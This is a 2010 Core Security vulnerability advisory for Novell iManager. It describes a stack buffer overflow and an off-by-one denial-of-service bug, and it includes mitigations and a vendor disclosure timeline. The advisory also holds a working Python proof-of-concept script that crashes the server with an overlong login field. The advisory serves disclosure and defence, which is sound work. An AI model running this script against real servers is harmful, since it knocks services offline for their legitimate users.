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Novell iManager - Multiple Vulnerabilities

Novell iManager - Multiple Vulnerabilities

Publié le 2010-06-24

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      Core Security Technologies - CoreLabs Advisory

            http://corelabs.coresecurity.com/



        Novell iManager Multiple Vulnerabilities







1. *Advisory Information*



Title: Novell iManager Multiple Vulnerabilities

Advisory Id: CORE-2010-0316

Advisory URL:

[http://www.coresecurity.com/content/novell-imanager-buffer-overflow-off-by-one-vulnerabilities]

Date published: 2010-06-23

Date of last update: 2010-06-23

Vendors contacted: Novell

Release mode: User release







2. *Vulnerability Information*



Class: Stack-based buffer overflow [CWE-119], Off-by-one error [CWE-193]

Impact: Code execution, Denial of service

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2010-1929, CVE-2010-1930

Bugtraq ID: 40480, 40485







3. *Vulnerability Description*



Novell iManager is a Web-based administration console that provides

customized secure access to network administration utilities and

content from any location in the world. With iManager you can manage

Novell Open Enterprise Server, Novell Identity Manager, Novell

eDirectory and many other Novell and third-party services from a web

browser. Novell iManager is prone to a stack-based buffer overflow

vulnerability that can be exploited by authenticated users to execute

arbitrary code, and to an off-by-one error that can be abused by

remote, unauthenticated attackers to cause a Denial of Service to the

application.





4. *Vulnerable packages*



   . Novell iManager 2.7

   . Novell iManager 2.7.3

   . Novell iManager 2.7.3 FTF2

   . Older versions are probably affected too, but they were not checked.





5. *Non-vulnerable packages*



   . Novell iManager 2.7.3 ftf4

   . Novell iManager 2.7.4





6. *Vendor Information, Solutions and Workarounds*



Novell has a planned release of iManager 2.7.4 in August 2010; this

release should fix these issues. The Novell team notifies they will

provide patches for the current vulnerable versions with the 2.7.3

ftf4 release before August, but this release was not confirmed yet

(see the timeline for more details). In the meantime, users can

mitigate these flaws by applying these countermeasures:



   1. For [CVE-2010-1929 | 40480], establish a Web Application

Firewall rule for limiting the length of the parameters

'EnteredClassID' and 'NewClassName' in POST requests to the URI

'/nps/servlet/webacc/'.

   2. For [CVE-2010-1930 | 40485], establish a Web Application

Firewall rule for limiting the length of the parameter 'Tree' in POST

requests to the URI '/nps/servlet/webacc/'.



 Similar rules can also be established in the Apache webserver of the

iManager installation in order to mitigate these flaws.





7. *Credits*



This vulnerability was discovered and researched by Francisco Falcon

from Core Security Technologies.





8. *Technical Description / Proof of Concept Code*





8.1. *Introduction*



Novell iManager [1] is a Web-based administration console that

provides customized secure access to network administration utilities

and content from any location in the world. With iManager you can

manage Novell Open Enterprise Server, Novell Identity Manager, Novell

eDirectory and many other Novell and third-party services from a web

browser. Novell iManager is prone to a stack-based buffer overflow

vulnerability that can be exploited by authenticated users to execute

arbitrary code, and to an off-by-one error that can be abused by

remote, unauthenticated attackers to cause a Denial of Service to the

application. These two vulnerabilities are described below.





8.2. *Stack-based Buffer Overflow*



[CVE-2010-1929 | 40480] Novell iManager provides a feature to create

classes, under the 'Schema' menu. The class name is intended to have a

maximum length of 32 characters. This limitation is enforced on the

client side by setting a 'maxlength' property with a value of 32 in

the proper form field, but no verification is performed on the server

side to ensure that the user-defined class name is, at most, 32

characters long. By tampering the POST request that sends the class

name when creating a new class, an authenticated user can define an

overly long class name that will cause a stack-based buffer overflow

on the iManager web server, making it possible for the attacker to

overwrite return addresses and Structured Exception Handlers, allowing

the execution of arbitrary code with the privileges of the current

user (in the case of iManager Workstation) or with SYSTEM privileges

(in the case of iManager Server).



On the server side, the creation of a new class is handled by the

'jclient._Java_novell_jclient_JClient_defineClass () 20' function, in the

'jclient.dll' module of the iManager Tomcat web server. This function

in turn invokes a subroutine that copies the user-defined class name

to a fixed-size buffer in the stack, without checking its length. The

following disassembled code of the Novell iManager Tomcat web server

illustrates the vulnerability.



/-----

[jvm.dll + 0x1055CC]



6D9B55CC  |.  8B7D 18       MOV EDI,DWORD PTR

SS:[EBP+18]                    ;  edi = destination buffer in the stack

6D9B55CF  |.  83E1 3F       AND ECX,3F

6D9B55D2  |.  D3E0          SHL EAX,CL

6D9B55D4  |.  8D7472 0C     LEA ESI,DWORD PTR

DS:[EDX+ESI*2+C]               ;  esi = pointer to class name

6D9B55D8  |.  8BC8          MOV

ECX,EAX                                      ;  ecx = length of class name

6D9B55DA  |.  8BD1          MOV EDX,ECX

6D9B55DC  |.  C1E9 02       SHR ECX,2

6D9B55DF  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR

DS:[ESI]   ;  *BUFFER OVERFLOW*



- -----/







8.3. *Off By One Error (DoS)*



[CVE-2010-1930 | 40485] There is an off-by-one error in the code that

handles the login process that can be abused by remote,

unauthenticated users to crash the iManager web server, thus denying

the service to legitimate users.



The three input fields in the login page of iManager have defined a

'maxlength' property with a value of 256 to limit the number of

characters that can be entered in each field. However, if a login

request is sent to the web server having a 'TREE' field with a length

of 256 characters, the iManager Tomcat web server will crash,

rendering the application unavailable.



The following Python script is a proof of concept of the

vulnerability, and will crash the Novell iManager instance specified

via command-line arguments:



/-----

#Usage: $ python poc.py <iManager_IP> <iManager_Port>

#E.g:     $ python poc.py 192.168.0.1 48080



import socket

import sys

import time

import httplib





def server_uses_SSL(host, port):

    #Try to determine if the server is using HTTP over SSL or not.

    headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0;

Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727;

.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',

               

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

                'Accept-Language': 'en-us,en;q=0.5',

                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',

                'Connection':'close'}



    using_ssl = True

    conn = httplib.HTTPSConnection(host, port)

    try:

        conn.request('GET', '/nps/servlet/webacc', headers=headers)

        response = conn.getresponse()

    except socket.sslerror:

        using_ssl = False

    finally:

        conn.close()

    return using_ssl





def post_urlencoded_data(host, port, selector, body, use_ssl,

get_resp=True):



    headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0;

Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727;

.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',

               

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

                'Accept-Language': 'en-us,en;q=0.5',

                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',

                'Referer': 'http://%s:%s%s' % (host, port,

'/nps/servlet/webacc'),

                'Content-Type':'application/x-www-form-urlencoded',

                'Content-Length': str(len(body)),

                'Connection':'close'}



    if use_ssl:

        conn = httplib.HTTPSConnection(host, port)

    else:

        conn = httplib.HTTPConnection(host, port)

    conn.request('POST', selector, body, headers)



    html = ''

    #This flag allows me to avoid keeping waiting for a server

response in the last step, when the webserver is crashed

    if get_resp:

        response = conn.getresponse()

        html = response.read()

    conn.close()

    return html





def getPostParameters():

    params  = 'rank=primary&DoLogin=true&forceMaster=false'

    params +=

'&username=admin&password=mipass&tree=%s&Entrada.x=27&Entrada.y=13' %

('A' * 256)

    return params





def main():

    host = sys.argv[1]

    port = int(sys.argv[2])



    #Determine if the server uses plain HTTP (iManager Workstation) or

HTTPS (iManager Server)

    uses_ssl = server_uses_SSL(host, port)

    if uses_ssl:

        print '(+) The server uses HTTP over SSL. Guessed target:

iManager Server.'

    else:

        print '(+) The server uses plain HTTP. Guessed target:

iManager Workstation.'



    print '(+) Sending login request with 256-character long TREE

field...'

    post_urlencoded_data(host, port, '/nps/servlet/webacc',

getPostParameters(), uses_ssl, False)

    print '(+) Malicious request successfully sent.'



    #Wait 10 seconds and try to connect again to iManager, to check if

it's down

    print '(+) Waiting 10 seconds before trying to reconnect to

iManager...'

    time.sleep(10)



    try:

        print '(+) Trying to reconnect...'

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((host, port))

        s.close()

        print '(!) Something went wrong. Novell iManager is still alive.'

    except socket.error:

        print '(*) Attack successful. Novell iManager is down.'



if __name__ == '__main__':

    main()



- -----/







9. *Report Timeline*



. 2010-04-08:

Core Security Technologies notifies the iManager team of the

vulnerability and announces its initial plan to publish the advisory

on May 3rd, 2010.



. 2010-04-09:

The iManager team asks Core for a technical description of the

vulnerability.



. 2010-04-09:

Technical details are sent to iManager team by Core. No reply received.



. 2010-04-14:

Technical details are re-sent to iManager team. Core asks the vendor

to confirm the reception of the technical report. No reply received.



. 2010-04-20:

Core asks the vendor to confirm the reception of the technical report.

No reply received.



. 2010-04-29:

Core notifies the lack of an answer from the iManager team in the last

3 weeks. Core also requests a status update and notifies the advisory

publication has been re-scheduled to May 17th.



. 2010-04-30:

iManager team notifies the Service Request 10614363428 has been opened

to track this issue.



. 2010-04-30:

iManager team notifies the PoC script included in the advisory against

iManager 2.7.3 has been unable to cause iManager to crash.



. 2010-04-30:

Core notifies the original PoC was tested against the Workstation

version of Novell iManager (it uses plain HTTP). The Server version

(used by vendor) uses HTTPS. Core sends a new PoC which was tested on

both the Workstation and Server versions of iManger.



. 2010-05-07:

iManager team notifies they were able to duplicate the PoC against the

Windows version of iManager but, they were unable to duplicate it

against Linux versions. The vendor also notifies they have a planned

release of iManager 2.7.4 in August and asks Core if that timeframe is

acceptable.



. 2010-05-13:

Core asks the vendor if they are going to release a fix/patch for the

already vulnerable users and recommends doing so before the next

release of iManager, Aug 2010. No reply received.



. 2010-05-17:

Core asks for a status update about this issue. Core also notifies

Novell mentioned their team had been able to reproduce the PoC of the

DoS vulnerability but Core reported 2 vulnerabilities:



   1. Remote Denial of Service,

   2. Stack-based buffer overflow (exploitable when a user sends a

long class name).



 There was no information reported about the 2nd vulnerability.



. 2010-05-18:

iManager team asks when Core is going to disclose the vulnerabilities

and if that time is flexible.



. 2010-05-20:

Core notifies the proposed release date was already missed

(2010-May-17), and the advisory is re-scheduled to May 31st. Core also

notifies this release date is flexible but it depends on Novell

timeline and further actions. In order to change this date Core asks

for the information required in previous emails:



   1. Core asks if iManager team could reproduce both vulnerabilities.

   2. Core asks if they are going to release patches/fixes for both

vulnerabilities before the release of the new version of iManager

(iManager 2.7.4 scheduled for August 2010)

   3. Core asks if they are going to release a security bulletin for

their customers.



 Core also notifies that if the iManager team does not mean to release

patches and/or a security bulletin then, there is not a good reason to

postpone the advisory publication till Aug 2010.



. 2010-05-27:

Core notifies the advisory is going to be released next Monday 31st

and that this date can be re-scheduled to a near future if iManager

team sends the information requested in previous emails. Core asks

Novell to re-establish the contact ASAP in order to coordinate the

advisory publication.



. 2010-06-02:

Paula Gephart from the iManager team notifies she was out of town and

the email's vacation rule has not worked for some reason. The iManager

team also notifies that they would like to coordinate a release and

they will re-establish the contact as soon as they can find an

acceptable release mechanism.



. 2010-06-02:

Core notifies that, given the 2nd publication deadline for the

advisory has already passed and the lack of an answer from the

iManager team to the questions asked in the email sent in

[2010-05-20], it is best (according to the Core's assessment on how to

help users to reduce risk) to inform the vulnerable users about their

risk and provide whatever mitigation or workarounds than to postpone

disclosure to an uncertain future date. Core also notifies the

advisory has already entered within the publication system and it

would be hard to stop it, but it can be done if the iManager team

provides the answers requested in the previous emails. Core notifies

that will be waiting for this information until the end of the day and

this deadline should be considered as final. No reply received.



. 2010-06-02:

The advisory CORE-2010-0316 is published.



. 2010-06-02:

The iManager team notifies both bugs have been reproduced and they are

going to develop fixes for both issues. The iMananger team also

notifies it has not decided if they are going to issue patches for the

vulnerable versions of iManager currently in use or will just roll out

the fixes in the upcoming release of a new iManager version.



. 2010-06-02:

Core removes the advisory from its website and notifies that it was

published for about 20 minutes. Core also notifies there will be a

meeting of the Core Advisories Team in order to evaluate this case

tomorrow (Thursday 3th) 19.30 GMT. If the iManager team does not mean

to release patches then, there is not a good reason to postpone the

advisory publication till Aug 2010.



. 2010-06-03:

The iManager team notifies the plan to release a 2.7.3 ftf4 to fix

these 2 issues and another issue. iManager 2.7.3 ftf4 would be

released before August, but there is no date yet.



. 2010-06-03:

Core agrees to postpone the advisory publication waiting for the 2.7.3

ftf4 release. The advisory is re-scheduled for publication to the

Monday 21th June, 2010. Core notifies this date can be moved if the

iManager team need it, but the iManager team should provide a clear

report about the progress of the fixing process in order to request

moving the release date.



. 2010-06-15:

Core requests a status update to the iManager team.



. 2010-06-17:

Core requests a status update to the iManager team and notifies the

advisory will be released next Monday as planned.



. 2010-06-18:

The iManager team notifies they are waiting on a response from another

Novell product that ships with iManager, to make sure they will also

be able to consume the new version of iManager and release before

August. The iManager team also notifies they will contact Core with

the timeline today.



. 2010-06-23:

The advisory CORE-2010-0316 is published.







10. *References*



[1] Novell iManager:

[http://www.novell.com/products/consoles/imanager/overview.html].





11. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is

charged with anticipating the future needs and requirements for

information security technologies. We conduct our research in several

important areas of computer security including system vulnerabilities,

cyber attack planning and simulation, source code auditing, and

cryptography. Our results include problem formalization,

identification of vulnerabilities, novel solutions and prototypes for

new technologies. CoreLabs regularly publishes security advisories,

technical papers, project information and shared software tools for

public use at: [http://www.coresecurity.com/corelabs].





12. *About Core Security Technologies*



Core Security Technologies develops strategic solutions that help

security-conscious organizations worldwide develop and maintain a

proactive process for securing their networks. The company's flagship

product, CORE IMPACT, is the most comprehensive product for performing

enterprise security assurance testing. CORE IMPACT evaluates network,

endpoint and end-user vulnerabilities and identifies what resources

are exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

security consulting services, including penetration testing and

software security auditing. Based in Boston, MA and Buenos Aires,

Argentina, Core Security Technologies can be reached at 617-399-6980

or on the Web at [http://www.coresecurity.com].





13. *Disclaimer*



The contents of this advisory are copyright (c) 2010 Core Security

Technologies and (c) 2010 CoreLabs, and may be distributed freely

provided that no fee is charged for this distribution and proper

credit is given.





14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].



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